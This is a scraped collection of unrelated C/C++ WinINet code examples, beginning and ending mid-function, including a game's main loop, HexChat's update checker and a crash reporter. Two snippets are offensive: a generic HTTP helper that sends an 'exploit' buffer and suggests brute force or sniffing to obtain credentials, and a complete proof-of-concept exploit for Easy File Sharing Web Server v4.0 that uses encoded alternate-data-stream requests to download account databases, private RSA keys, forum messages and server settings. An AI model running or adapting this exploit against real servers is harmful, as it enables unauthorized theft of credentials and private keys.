        while (PeekMessage(&msg, dlg, 0, 0, PM_NOREMOVE)) {
            if (GetMessage(&msg, NULL, 0, 0) > 0) {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
#endif
    }

#if defined(GPODDER_GUI)
    DestroyWindow(dlg);
#endif

    fclose(out);
    InternetCloseHandle(connection);
    InternetCloseHandle(inet);
    if (error) {
        return 0;
    } else {
        return totalBytes;
    }
}
Esempio n. 18
0
PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod,char *Url,int ssl, char *buffer) {
//better than playing with sockets ^^
    HINTERNET hInternetSession,hConnect,hRequest;
    static TCHAR hdrs[] = "Content-Type: application/x-www-form-urlencoded";
    int ret;
    PHTTPData resultado;
    char bufQuery[32] ;
    DWORD dwBuffLen,dwFlags;
    BOOL bQuery,bRead;
    DWORD dwHTTPCode,dwIndex,dwFileSize,dwReadedBytes,dwLengthBufQuery = sizeof(bufQuery);
    //PSTR pszUser ="******"; 
    //PSTR pszPass="******";

    resultado=malloc(sizeof(HTTPData));
    memset(resultado,0,sizeof(HTTPData));

    if ((hInternetSession = InternetOpen ("TigerTeam 514",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) {
        return (resultado);
    }
    hConnect = InternetConnect(hInternetSession,host,port,NULL,NULL,INTERNET_SERVICE_HTTP,0,1);
    if (!ssl) {
        hRequest = HttpOpenRequest(hConnect,
        metod,Url,NULL,NULL,NULL,INTERNET_FLAG_RELOAD,0);
    } else {
        hRequest = HttpOpenRequest(hConnect,
            metod,Url,NULL,NULL,NULL,
            INTERNET_FLAG_IGNORE_CERT_CN_INVALID |INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID     ,0);
    }

    if (hRequest==NULL) {
        printf("error chungo en HttpOpenRequest\n");
        return(resultado);
    }

    if (buffer==NULL) {
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),NULL,0);
    } else {
            printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));

    if ((!ret) && (ssl) ){
            dwBuffLen = sizeof(dwFlags);
            printf("[+] Ignoring unknown CA...\n");
            InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
                (LPVOID)&dwFlags, &dwBuffLen);
            dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
            InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
                &dwFlags, sizeof (dwFlags) );
/*
//authentication support here.
//If you need user & password try
//a) bruteforce
//b) sniffer
//c) local privilege scalation with TibcoPasswordExtractor.c

            InternetSetOption(hRequest, INTERNET_OPTION_USERNAME,
                          pszUser, _tcslen(pszUser) + 1);
            InternetSetOption(hRequest, INTERNET_OPTION_PASSWORD,
                          pszPass, _tcslen(pszPass) + 1);
*/
            printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));
        }


        if (!ret) {
            printf("Se ha enviado mal la peticion HTTP: %i\n",GetLastError());
            return(resultado);
        }
    }
        bQuery= HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE,bufQuery,&dwLengthBufQuery,NULL);
        if (!bQuery) {
            printf("Control de Errores - bQuery Vale NULL\n");
            return(resultado);
        }
        resultado->dwReturnCode = (DWORD)atol(bufQuery) ;
//        printf("HEADER RESPONSE: %i \n",resultado->dwReturnCode);

        dwLengthBufQuery=sizeof(bufQuery);
        bQuery= HttpQueryInfo(hRequest, //petición de tamaño de la petición.
                HTTP_QUERY_CONTENT_LENGTH,
                bufQuery,
                &dwLengthBufQuery,
                NULL);
        dwFileSize = (DWORD)atol(bufQuery) ;
//        printf("Vamos a leer %i bytes de datos\n",dwFileSize);
        resultado->dwBytesRead=dwFileSize;
        if (dwFileSize==0) {
            resultado->buffer=NULL;
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
            InternetCloseHandle(hInternetSession);
            return(resultado);
        }
        resultado->buffer= malloc(dwFileSize+1);
        bRead = InternetReadFile(hRequest,
                resultado->buffer,
                dwFileSize,
                &dwReadedBytes);
        resultado->buffer[resultado->dwBytesRead] = '\0' ;

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternetSession);
    return(resultado);
}
Esempio n. 19
0
bool CGetUrlStream::OpenUrl( const CString & strUrl )
{
	m_uLastError = 0;
	m_strStream.clear();

    // 建立会话
    HINTERNET hSession = InternetOpen( _T("CGetUrlStream"),
                                       INTERNET_OPEN_TYPE_PRECONFIG,
                                       NULL,
								       NULL,
								       0
								     );
    if ( hSession == NULL ) {
		SetLastError();
        return false;
    }
	
	// 设置超时60s
	unsigned int timeout = 60 * 1000;
	InternetSetOption( hSession, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout) );
	InternetSetOption( hSession, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout) );

	// 打开URL
	HINTERNET hUrl = InternetOpenUrl( hSession, 
									  strUrl,
									  NULL,
									  0,
									  INTERNET_FLAG_RELOAD,
									  NULL
									);

	
    if( hUrl == NULL ) 
	{
		SetLastError();
        InternetCloseHandle( hSession );
        return false;
    }

	TCHAR szBuffer[80];
	DWORD dwLen = _countof(szBuffer);
	BOOL bResult = HttpQueryInfo( hUrl, HTTP_QUERY_STATUS_CODE, szBuffer, &dwLen, NULL);

	if ( !bResult || (DWORD)_ttol(szBuffer) != 200 )
	{
		return FALSE;
	}

	// 开始下载
	m_strStream.reserve( 64 * 1024 );
    char  buffer[8 * 1024];
	DWORD reads = 0;

	for (;;) 
	{
		if ( !InternetReadFile( hUrl, buffer, sizeof(buffer), &reads ) ) 
		{
			break;
		}
		
		if ( reads == 0 ) {
			break;
		}

		m_strStream.append( buffer, reads );
	}

	InternetCloseHandle( hUrl );
    InternetCloseHandle( hSession );

	return true;
}
void IINetUtil::GetWebFile(const tchar* Parameters, const tchar* pszServer, const tchar* pszFileName, tint32* OutputLength, tchar** OutputBuffer)
{
	*OutputBuffer = NULL;
	*OutputLength = 0;
	HINTERNET Initialize = NULL;
	HINTERNET Connection = NULL;
    HINTERNET File = NULL;
	//tchar* szFullFileName = NULL;
	try {
		//combine path and filename
		//szFullFileName = new tchar[strlen(INTERFACE_PATH)+strlen((const char *) FileName)+1];
		//sprintf((char *) szFullFileName,"%s%s",INTERFACE_PATH,FileName);
		/*initialize the wininet library*/
		if (NULL == (Initialize = InternetOpen("Koblo INet Engine 1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)))//INTERNET_FLAG_ASYNC)))
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonNetworkCannotOpen,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonNetworkCannotOpen,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		//Set timeout
		int timeout = CONNECT_TIMEOUT * 1000;
		// Lasse, modified 2007-09-10 - check for return value
		//InternetSetOption(Initialize, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, 4);
		if (!InternetSetOption(Initialize, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, 4)) {
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonNetworkGeneric,
				EXCEPTION_INFO,
				pszMsg);
		}

		// Lasse, added 2007-09-10 - context identifier for application
		DWORD dwContext = 0;
		DWORD_PTR pdwContext = (DWORD_PTR)&dwContext;
		// .. Lasse

		/*connect to the server*/
		// Lasse, modified 2007-09-10 - avoid risky NULL pointer read; use context identifier correctly
		//if (NULL == (Connection = InternetConnect(Initialize,WEB_SERVER,INTERNET_DEFAULT_HTTP_PORT,
		//	NULL,NULL,INTERNET_SERVICE_HTTP,0,0)))
		if (NULL == (Connection = InternetConnect(Initialize, pszServer, INTERNET_DEFAULT_HTTP_PORT,
			NULL, NULL, INTERNET_SERVICE_HTTP, 0, pdwContext)))
		// .. Lasse
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonCouldntConnectToServer,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonCouldntConnectToServer,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		/*open up an HTTP request*/
		// Lasse, modified 2007-09-10 - 1: avoid risky NULL pointer read; use context identifier correctly, 2: avoid using cache
		//if (NULL == (File = HttpOpenRequest(Connection,POST_GET("POST","GET"),(const char*) szFullFileName,NULL,NULL,NULL,0,0)))
		//if (NULL == (File = HttpOpenRequest(Connection, POST_GET("POST","GET"), (const char*)szFullFileName, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_RELOAD, pdwContext)))
		if (NULL == (File = HttpOpenRequest(Connection, POST_GET("POST","GET"), (const char*)pszFileName, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_RELOAD, pdwContext)))
		// .. Lasse
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonCouldntConnectToAppl,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonCouldntConnectToAppl,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		/*Read the file*/
		if(HttpSendRequest(
			File,
			POST_GET(POST_CONTENT_TYPE,NULL),
			POST_GET(strlen(POST_CONTENT_TYPE),0),
			POST_GET((void*)Parameters,NULL),
			POST_GET(strlen((const char *) Parameters),0)
		))
		{
			*OutputBuffer = new tchar[MAX_PAGE_SIZE];
			// Lasse, changed 2007-09-11 - fix for prematurely return before all data have been received
			//InternetReadFile(File,*OutputBuffer,MAX_PAGE_SIZE, (unsigned long *) OutputLength);
			DWORD dwLen = 0;
			*OutputLength = 0;
			tuint32 uiRemainingBuffer = MAX_PAGE_SIZE;
			tchar* pszBuff = *OutputBuffer;
			// This is the correct approach: Read until 0 bytes are received
			do {
				if (!InternetReadFile(File, pszBuff, uiRemainingBuffer, &dwLen)) {
					// Time-out reading page
					tchar pszMsg[256];
					GetGetLastError(pszMsg);
					throw IException::Create(IException::TypeNetwork,
						IException::ReasonNetworkTimeOut,
						EXCEPTION_INFO,
						pszMsg);
				}
				// Prepare for more data - advance buffer pointer etc.
				pszBuff += dwLen;
				*OutputLength += dwLen;
				uiRemainingBuffer -= dwLen;
			} while (dwLen > 0);
			// .. Lasse
			if (*OutputLength == MAX_PAGE_SIZE) {
				throw IException::Create(IException::TypeNetwork, IException::ReasonPageToLarge, EXCEPTION_INFO);
			}
            (*OutputBuffer)[*OutputLength] = NULL; //zero termination
		} else {
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonErrorReadingFromAppl,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonErrorReadingFromAppl,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
	}
	catch (...) {
	   /*close file , terminate server connection and deinitialize the wininet library*/
		if (File != NULL) InternetCloseHandle(File);
		if (Connection != NULL) InternetCloseHandle(Connection);
		if (Initialize != NULL) InternetCloseHandle(Initialize);
		throw;
	}
	if (File != NULL) InternetCloseHandle(File);
	if (Connection != NULL) InternetCloseHandle(Connection);
	if (Initialize != NULL) InternetCloseHandle(Initialize);
}
int main( int argc, char *argv[]) {

// this was a quick test of InetOpenURL
#if 0
	HINTERNET hnet = InternetOpen( "Game", INTERNET_OPEN_TYPE_PRECONFIG, 
									NULL, NULL, 0 );
	HINTERNET hfile = InternetOpenUrl( hnet, "http://www.yahoo.com", 
										NULL, 0, 
										INTERNET_FLAG_DONT_CACHE, 0);
	char buff[5000];
	unsigned long nread;
	InternetReadFile( hfile, buff, 5000, &nread );
	buff[nread] = 0;
	printf( buff );
#endif

	if ( SDL_Init(SDL_INIT_NOPARACHUTE | SDL_INIT_AUDIO|SDL_INIT_VIDEO |SDL_INIT_JOYSTICK) < 0 ) {
        fprintf(stderr, "Unable to init SDL: %s\n", SDL_GetError());
        exit(1);
    }

	if( SDL_SetVideoMode( 800, 600, 16, SDL_OPENGL /*| SDL_FULLSCREEN */ ) == 0 ) {
		fprintf(stderr,	"Unable to set video mode: %s\n", SDL_GetError());
        exit(1);
	}

	SDL_WM_SetCaption( "The Halloween Machine", NULL );

	// Init SDL_Mixer
	if (Mix_OpenAudio( 22050, AUDIO_S16, 2,  4096 )) {
		fprintf(stderr,	"Unable to open audio\n");
        exit(1);
	}

	// Initialize Joysticks/Gamepads
	printf("%d Controllers found.\n", SDL_NumJoysticks() );
	for (int i=0; i < SDL_NumJoysticks(); i++) {
		printf( "Controller %d: %s\n", i, SDL_JoystickName(i) );
	}
	gamepad.name = "No gamepad detected.";
	gamepad.sdlinfo = NULL;
	gamepad.stick = vec2f(0.0, 0.0 );
	gamepad.stick2 = vec2f(0.0, 0.0 );

	// Only use the first controller
	if (SDL_NumJoysticks() > 0 ) {
		gamepad.sdlinfo = SDL_JoystickOpen(0);
	}

	// init highscores
	readHighScores();	

	if (gamepad.sdlinfo) {
		gamepad.name = strdup( SDL_JoystickName(0) );
		printf( "Gamepad: Number of axes: %d\n", SDL_JoystickNumAxes(gamepad.sdlinfo) );
		printf( "Gamepad: Number of buttons: %d\n", SDL_JoystickNumButtons(gamepad.sdlinfo) );
		printf( "Gamepad: Number of balls: %d\n", SDL_JoystickNumBalls(gamepad.sdlinfo) );
		printf( "Gamepad: Number of hats: %d\n", SDL_JoystickNumHats(gamepad.sdlinfo) );
	}

	

	// initialize DevIL
	ilInit();
	ilutRenderer( ILUT_OPENGL );

	// Setup glgameFont
	
	// Load the font image
	ilGenImages( 1, &ilFontId );
	ilBindImage( ilFontId );		
	
	if (!ilLoadImage( "gamedata/magic.png" )) {
		printf("Loading font image failed\n");
	}
	
	// Make a GL texture for it
	glFontTexId = ilutGLBindTexImage();

	// Create a font by passing in an opengl texture id
	fntFontId = gfCreateFont( glFontTexId );

	// A .finfo file contains the metrics for a font. These
	// are generated by the Fontpack utility.
	gfLoadFontMetrics( fntFontId, "gamedata/magic.finfo");

	printf("font has %d chars\n", gfGetFontMetric( fntFontId, GF_FONT_NUMCHARS ) );
	gfEnableFont( fntFontId, 25 );		

	sfx[0] = Mix_LoadWAV("gamedata/whiit.wav");
	sfx[1] = Mix_LoadWAV("gamedata/didge.wav");
	sfx[2] = Mix_LoadWAV("gamedata/sfx_boom.wav");
	sfx[3] = Mix_LoadWAV("gamedata/harp.wav");
	sfx[4] = Mix_LoadWAV("gamedata/secret.wav");

	music_title = Mix_LoadMUS( "gamedata/AutumnLeft.ogg" );
	music_gameover = Mix_LoadMUS( "gamedata/YouDiedLoser.ogg" );
	music_ingame = Mix_LoadMUS( "gamedata/ingame.ogg" );

	if (!music_title) {
		printf("Error loading music %s\n", Mix_GetError() );
	} else {
		printf("Music loaded\n");
	}
	Mix_PlayMusic( music_title, -1 );

	
	// Start up the game
	g_game = new GameState();
	g_game->init();

	g_game->loadLevels( "gamedata/levels.txt" );

	g_view = new ViewSimple2D( g_game );
	g_game->setView( g_view );	

	//////////////////////
	// Event Loop
	//////////////////////
	while (1) {		
    SDL_Event event;

    /* Grab all the events off the queue. */
    while( SDL_PollEvent( &event ) ) {
		
        switch( event.type ) {
        case SDL_KEYDOWN:

			// are we reading highscore??
			if (ndxGetName >=0 ) {
				char buff[10];
				if ( ((event.key.keysym.sym >= SDLK_a) && (event.key.keysym.sym <= SDLK_z)) ||					 
					 ((event.key.keysym.sym >= SDLK_0) && (event.key.keysym.sym <= SDLK_9))) {
					sprintf( buff, "%c", (char)event.key.keysym.sym );

					if (event.key.keysym.mod & (KMOD_LSHIFT|KMOD_RSHIFT)) {
						buff[0] = toupper(buff[0]);
					}

					if (!strcmp(g_highScoreTable[ndxGetName].m_name.c_str(), HISCORE_PROMPT)) {
						g_highScoreTable[ndxGetName].m_name = "";
					}

					g_highScoreTable[ndxGetName].m_name.append( buff);

				} else if ( (event.key.keysym.sym==SDLK_BACKSPACE) ) {
					if (g_highScoreTable[ndxGetName].m_name.length()){ 
						g_highScoreTable[ndxGetName].m_name.erase( 
											g_highScoreTable[ndxGetName].m_name.end()-1 );
					}
				} else if ( (event.key.keysym.sym==SDLK_RETURN) ||
					      (event.key.keysym.sym==SDLK_ESCAPE) ) {

					if (!g_highScoreTable[ndxGetName].m_name.length()) {
						g_highScoreTable[ndxGetName].m_name = "Anonymous";
					}

					ndxGetName = -1;


					writeHighScores();
				}

				break;
			} 

            switch( event.key.keysym.sym ) {

				case SDLK_ESCAPE:				
					if ( (g_state==STATE_TITLE) &&
						(g_menuState == MENU_MAINMENU)) {
						do_quit();
					} else {
						backToTitleScreen();
					}
					break;

				case SDLK_a:
					g_view->toggleAnim();
					break;

				case SDLK_p:
					paused = !paused;
					break;

// Cheat codes.. enable for testing
#if 0
				case SDLK_z:
					if (g_state==STATE_GAMEOVER) {
						ndxGetName = 3;
						break;
					}
	
					

				case SDLK_1:
					g_game->dbgNextPumpkin( PUMPKIN );
					break;
				case SDLK_2:
					g_game->dbgNextPumpkin( PUMPKIN_ORANGE );
					break;
				case SDLK_3:
					g_game->dbgNextPumpkin( PUMPKIN_YELLOW );
					break;
				case SDLK_4:
					g_game->dbgNextPumpkin( PUMPKIN_RED );
					break;
				case SDLK_5:
					g_game->dbgNextPumpkin( SKULL );
					break;
				case SDLK_6:
					g_game->dbgNextPumpkin( FISH_HEAD );
					break;
				case SDLK_7:
					g_game->dbgNextPumpkin( BLACKBIRD );
					break;

				case SDLK_8:
					g_game->dbgClearQueue();
					break;
#endif


				case SDLK_s:
					ilutGLScreenie();
					break; 

				case SDLK_d:
					bDrawGamepad = !bDrawGamepad;
					break;

				case SDLK_m:					

					if (!musicOn) {
						printf("Playing\n");
						if (g_state==STATE_TITLE) {
							Mix_PlayMusic( music_title, -1 );
						} else if (g_state==STATE_PLAYING) {
							Mix_PlayMusic( music_ingame, -1 );
						} else if (g_state==STATE_GAMEOVER) {
							// easter egg.. kindof.. you get to hear the
							// game over music again. woo.
							Mix_PlayMusic( music_gameover, 0 );
						}
						musicOn = 1;
					} else {
						printf("Halting\n");
						Mix_HaltMusic();
						musicOn = 0;
					}


				case SDLK_LEFT:
					g_view->nextStation();
					break;
				case SDLK_RIGHT:
					g_view->prevStation();
					break;

				case SDLK_SPACE:
				case SDLK_RETURN:
					if (g_state == STATE_PLAYING) {
						doActivateStation();
					} else {
						doStartButton();
					}
					
					break;

				case SDLK_UP:
					if (g_state==STATE_PLAYING) {
						//g_view->activateStation();
						doActivateStation();
					} else if (g_state==STATE_TITLE ) {
						prevMenuItem();						
					}
					break;

				case SDLK_DOWN:
					if (g_state==STATE_TITLE ) {
						nextMenuItem();						
					}
					break;

				default:
					break;
				}
			break;

		

		case SDL_JOYAXISMOTION:  /* Handle Joystick Motion */
			if ( ( event.jaxis.value < -3200 ) || (event.jaxis.value > 3200 ) ) 
			{				

				switch(event.jaxis.axis) {				
				case 0:
					gamepad.stick[0] = (float)(event.jaxis.value) / 32768.0f;
					break;
				case 1:
					gamepad.stick[1] = (float)(event.jaxis.value) / 32768.0f;
					break;
				case 2:
					gamepad.throttle = (float)(event.jaxis.value) / 32768.0f;
					break;
				case 3:
					gamepad.stick2[0] = (float)(event.jaxis.value) / 32768.0f;
					break;
				case 4:															
					gamepad.stick2[1] = (float)(event.jaxis.value) / 32768.0f;					
					break;						
				}				
				
			} else {
				// prevent jitter near the center positions
				switch(event.jaxis.axis) {
				case 0:
					gamepad.stick[0] = 0.0;
					break;
				case 1:
					gamepad.stick[1] = 0.0;
					break;
				case 2:
					gamepad.throttle = 0.0;
					break;
				case 3:
					gamepad.stick2[0] = 0.0;
					break;
				case 4:
					gamepad.stick2[1] = 0.0;
					break;				
				}
			}
			break;

		case SDL_JOYBUTTONDOWN:  /* Handle Joystick Button Presses */
			gamepad.button[event.jbutton.button] = true;
			
			switch (event.jbutton.button) {
			case 0:				
				//g_view->activateStation();
				if (g_state==STATE_PLAYING) {
					doActivateStation();
				} else {
					doStartButton();
				}
				break;
			//case 1:
			//	sfx_chan[1] = Mix_PlayChannel(-1, sfx[1], 0);
			//	break;
			//case 2:
			//	sfx_chan[2] = Mix_PlayChannel(-1, sfx[2], 0);
			//	break;

			case 8: // start button 
				doStartButton();				
				break;

			}
			break;

		case SDL_JOYBUTTONUP:  /* Handle Joystick Button Release */
			gamepad.button[event.jbutton.button] = false;			
			break;

		case SDL_JOYHATMOTION:  /* Handle Hat Motion */			
			gamepad.hat = event.jhat.value;			

			if (g_state==STATE_PLAYING) {
	
				if (gamepad.hat & SDL_HAT_LEFT) {
				
					g_view->nextStation();
				}

				if (gamepad.hat & SDL_HAT_RIGHT) {
					g_view->prevStation();
				}				
			} else {
				if (gamepad.hat & SDL_HAT_UP) {
				
					prevMenuItem();
				}

				if (gamepad.hat & SDL_HAT_DOWN) {
					nextMenuItem();
				}
			}

			break;
			case SDL_QUIT:
				/* Handle quit requests (like Ctrl-c). */
				if ( (g_state==STATE_TITLE) &&
					(g_menuState == MENU_MAINMENU)) {
					do_quit();
				} else {
					backToTitleScreen();
				}
				break;
			}	
		}
		redraw();
	}
	return 0;
} 
Esempio n. 22
0
int main (int argc, char *argv[])
{

	printf("\n=========================================================================\n");
	printf("0-day Easy File Sharing Web Server v4.0 Information Stealer\n");
	printf("Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com\n");
	printf("This tool demonstrates EFS Web Server's Vulnerability to Alternative\n");
	printf("Data Stream GET requests which allow unauthorized users to download server \n");
	printf("critical files.\n");
	printf("Discovered and Reported: 10-30-2006\n");
	printf("\nUsage: %s <hostname/IP> [port 80=default] [Method see below]\n", argv[0]);
	printf("--------PoC Methods:-----\n");
	printf("1 = Gather all login username and passwords and email addresses.[Default]\n");
	printf("2 = Gather Private RSA Key and Certificates for server.\n");
	printf("3 = Gather Private Messages used by Forum Users on the server\n");
	printf("4 = Gather Server Settings File and SMTP server info.\n");
	printf("============================================================================\n");


    inet = InternetOpen("ESF Exp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (inet == NULL)
	{
		printf("Error accessing InternetOpen API - Exiting...\n");
		exit(1);
	}
	if (argc < 2)
	{
		printf("Invalid # of arguments...Exiting\n");
		exit(1);
	}
	if (atoi(argv[3]) > 4)
	{
		mthd = 1;
	}
	if (atoi(argv[3]) <= 0)
	{
		mthd = 1;
	}
	mthd = atoi(argv[3]);

	/* Set Up Exploits */
	switch(mthd)
	{
    	case 1:
			file = fopen("Accounts.txt","a+");
			sprintf(exploit, "%s", "%75%73%65%72%2E%73%64%62");
			sprintf(endmsg, "%s", "\n\n\nResults Dumped to Accounts.txt\n");
			break;
		case 2:
			file = fopen("RSAKeys.txt", "a+");
			sprintf(exploit, "%s", "%53%65%72%76%65%72%4B%65%79%2E%70%65%6D");
			sprintf(endmsg, "%s", "\n\n\nResults Dumped to RSAKeys.txt\n");
			break;
		case 3:
			file = fopen("Messages.txt", "a+");
			sprintf(exploit, "%s", "%6D%73%67%31%2E%73%64%62");
			sprintf(endmsg, "%s", "\n\n\nResults Dumped to Messages.txt\n");
			break;
		case 4:
			file = fopen("Server.txt", "a+");
			sprintf(exploit, "%s", "%6F%70%74%69%6F%6E%2E%69%6E%69");
			sprintf(endmsg, "%s", "\n\n\nResults Dumped to Server.txt\n");
			break;
	}



	sprintf(logmsg, "%s", argv[1]);
	sprintf(logmsg, "%s", "\r\n\r\n\r\n");
	fwrite(logmsg, strlen(logmsg), 1, file);
	httpport = atoi(argv[2]);
	ExploitHTTP(inet, argv[1], exploit);
	if (mthd == 3)
	{
		printf("\n\n Sending 2nd Exploit...\n");
		strcat(exploit2, "%6D%73%67%32%2E%73%64%62");
		ExploitHTTP(inet, argv[1], exploit2);
		printf("\n\n Sending 3rd Exploit...\n");
		strcat(exploit3, "%6D%73%67%33%2E%73%64%62");
		ExploitHTTP(inet, argv[1], exploit3);
		printf("\n\n Sending final Exploit...\n");
		strcat(exploit4, "%6D%73%67%34%2E%73%64%62");
		ExploitHTTP(inet, argv[1], exploit4);
	}
	if (mthd == 2)
	{
		printf("\n\n Sending 2nd Exploit...\n");
		strcat(exploit2, "%53%65%72%76%65%72%43%65%72%74%2E%70%65%6D");
		ExploitHTTP(inet, argv[1], exploit2);
		printf("\n\n Sending final Exploit...\n");
		strcat(exploit3, "%52%6F%6F%74%43%65%72%74%2E%70%65%6D");
		ExploitHTTP(inet, argv[1], exploit3);
	}
	fclose(file);

    Sleep(500);
    InternetCloseHandle(inet);
	printf("\n\n===================================================\n");
	printf("%s\n", endmsg);
	printf("Proof Of Concept Exploit by Greg Linares\n");
	printf("Send Comments/Concerns/Questions/Etc to GLinares.code [at] gmail [dot] com\n");
    return 0;

}
Esempio n. 23
0
File: upd.c Progetto: fuzzmz/hexchat
static char*
check_version ()
{
#if 0
	HINTERNET hINet, hFile;
	hINet = InternetOpen ("Update Checker", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	if (!hINet)
	{
		return "Unknown";
	}

	hFile = InternetOpenUrl (hINet,
							"https://raw.github.com/hexchat/hexchat/master/win32/version.txt",
							NULL,
							0,
							INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD,
							0);
	if (hFile)
	{
		static char buffer[1024];
		DWORD dwRead;
		while (InternetReadFile (hFile, buffer, 1023, &dwRead))
		{
			if (dwRead == 0)
			{
				break;
			}
			buffer[dwRead] = 0;
		}

		InternetCloseHandle (hFile);
		InternetCloseHandle (hINet);
		return buffer;
	}

	InternetCloseHandle (hINet);
	return "Unknown";
#endif

	/* Google Code's messing up with requests, use HTTP/1.0 as suggested. More info:

	   http://code.google.com/p/support/issues/detail?id=6095

	   Of course it would be still too simple, coz IE will override settings, so
	   you have to disable HTTP/1.1 manually and globally. More info:

	   http://support.microsoft.com/kb/258425

	   So this code's basically useless since disabling HTTP/1.1 will work with the
	   above code too.

	   Update: a Connection: close header seems to disable chunked encoding.
	*/

	HINTERNET hOpen, hConnect, hResource;

	hOpen = InternetOpen (TEXT ("Update Checker"),
						INTERNET_OPEN_TYPE_PRECONFIG,
						NULL,
						NULL,
						0);
	if (!hOpen)
	{
		return "Unknown";
	}

	hConnect = InternetConnect (hOpen,
								TEXT ("raw.github.com"),
								INTERNET_DEFAULT_HTTPS_PORT,
								NULL,
								NULL,
								INTERNET_SERVICE_HTTP,
								0,
								0);
	if (!hConnect)
	{
		InternetCloseHandle (hOpen);
		return "Unknown";
	}

	hResource = HttpOpenRequest (hConnect,
								TEXT ("GET"),
								TEXT ("/hexchat/hexchat/master/win32/version.txt"),
								TEXT ("HTTP/1.0"),
								NULL,
								NULL,
								INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_AUTH,
								0);
	if (!hResource)
	{
		InternetCloseHandle (hConnect);
		InternetCloseHandle (hOpen);
		return "Unknown";
	}
	else
	{
		static char buffer[1024];
		DWORD dwRead;

		HttpAddRequestHeaders (hResource, TEXT ("Connection: close\r\n"), -1L, HTTP_ADDREQ_FLAG_ADD);	/* workaround for GC bug */
		HttpSendRequest (hResource, NULL, 0, NULL, 0);

		while (InternetReadFile (hResource, buffer, 1023, &dwRead))
		{
			if (dwRead == 0)
			{
				break;
			}
			buffer[dwRead] = 0;
		}

		InternetCloseHandle (hResource);
		InternetCloseHandle (hConnect);
		InternetCloseHandle (hOpen);
		return buffer;
	}
}
Esempio n. 24
0
///////////////////////////////////////////////////////////////////////////////
// OnSend
void CCrashReportDlg::OnSend() 
{
	CString userComments;
	m_What.GetWindowText(userComments);
	if (userComments.IsEmpty() == FALSE)
	{
		m_debugInfo += _T("\r\n@===User Comments\r\n");
		m_debugInfo += userComments;
	}

	CHAR bf[500];

	const INT cMaxString = 30000;
	CHAR utf8bf[cMaxString];
	INT len = WideCharToMultiByte(CP_UTF8, 0, m_debugInfo, -1, utf8bf, cMaxString, 0, 0);
	if (len == 0)
	{
		TRACE(_T("CCrashReportDlg::OnSend WideCharToMultiByte Failed\r\n"));
		return;
	}
	utf8bf[len] = 0;
	std::string xmlstring = utf8bf;
	replace(xmlstring, "&", "&amp;");
	replace(xmlstring, "<", "&lt;");
	replace(xmlstring, ">", "&gt;");
	replace(xmlstring, "'", "&apos;");
	replace(xmlstring, "\"", "&quot;");

	std::string request = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
	request += "<request>";
	request += "<info uid=\"";
	_snprintf_s(bf, 500, "CR1:%u:%u:%u", m_appID, GetVersion(), CRASHREPORT_BUILDVERSION);
	request += bf;
	request += "\" />";

	request += "<operation name=\"senddebuglog\"><log>";
	request += xmlstring;
	request += "</log></operation>";
	request += "</request>";


	//static LPCTSTR const sWebServiceURL = _T("http://localhost/services/tsservice.php");



	INT dataSize = request.size();
	LPSTR encData = URLEncDecHelper::EncodeData((LPBYTE)request.c_str(), dataSize, TRUE, TRUE);

	std::string params;
	params += CRASHREPORT_REPORTURLPARAM;
	params += encData;
	delete[] encData;


	HINTERNET hNet = InternetOpen(CRASHREPORT_APPTITLE, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	std::string page;
